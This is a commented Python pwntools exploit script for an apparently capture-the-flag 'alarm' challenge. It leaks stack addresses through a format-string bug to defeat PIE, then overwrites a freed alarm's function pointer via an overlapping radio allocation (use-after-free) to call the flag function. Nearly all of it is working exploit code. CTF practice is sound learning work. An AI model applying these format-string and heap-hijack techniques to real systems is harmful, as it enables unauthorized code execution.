from pwn import * e = ELF('alarm') what_addr = e.symbols['what'] # Function that gives flag loop_addr = e.symbols['loop'] # Mainloop #p = process('./alarm') p = remote('shell.hsctf.com', 10004) # STAGE 1 # Create alarm to leak offset of symbols. We need to do this becuase this is a # PIE (Position Independent Executable), meaning that all the addresses will be # offset by an unknown amount. The program actually attempts to recognize format # string payloads, which is the reason for the # symbol. print p.recvuntil('$ ') p.send('a %#p %#p %#p %#p %#p %#p\n') # Leak offest print p.recvuntil('$ ') # This prints the alarm name. It exploits the format string bug. To print a few # addresses from the top of the stack. p.send('n\n') print p.recvuntil('Alarm name: ') leaked_addrs = p.recvline() print leaked_addrs # If you set a breakpoint at the vulnerable printf, you can see that the 6th stack # address points to loop+278. This allows us to calculate the offset. loop_plus_278_offset_addr = int(leaked_addrs.split(' ')[5], 16) print "offsetted addr: " + hex(loop_plus_278_offset_addr) # Actually calculate the offset offset = loop_plus_278_offset_addr - 278 - loop_addr print "offset: " + hex(offset) # STAGE 2 # Now that we have the offset, we need to exploit another bug to call what(). # The alarms and radios are stored on the heap. By reversing, we determine the # format of the structs. # # struct alarm { # uint32_t pad1; # char name[39]; # char pad2[5]; # uintptr_t ring_func; # uintptr_t wink_func; # }; # # struct radio { # uint32_t pad1; # char name[51]; # char pad2; # uintptr_t play_func; # uintptr_t wink_func; # }; # # A few important things to notice: The name field of radio is much longer, and # the structs both store function pointers. The idea of stage 2 of the exploit # is to free the alarm created for stage 1, then create a radio that puts the # address of what() in ring_func of the freed alarm. Then, ring the freed (ghost) # alarm to execute a call to what() # Free the alarm (so that a new radio can occupy the space on the heap) # Since the program doesn't clear this memory, it in effect creates a *ghost* alarm print p.recvuntil('$ ') p.send('d\n') # Create evil radio, which pads the unneeded parts of the name (the lenght of # the alarm's name field and padding) with A, and puts the address of what() # in ring_func of the ghost alarm. Notice that we use the offset leaked in stage 1. print p.recvuntil('$ ') payload = 'r ' + 'A' * (39 + 5) + p64(what_addr + offset) + '\n' p.send(payload) # Now we activate the ring on the ghost alarm and execute what(). print p.recvuntil('$ ') p.send('i\n') p.interactive() # This again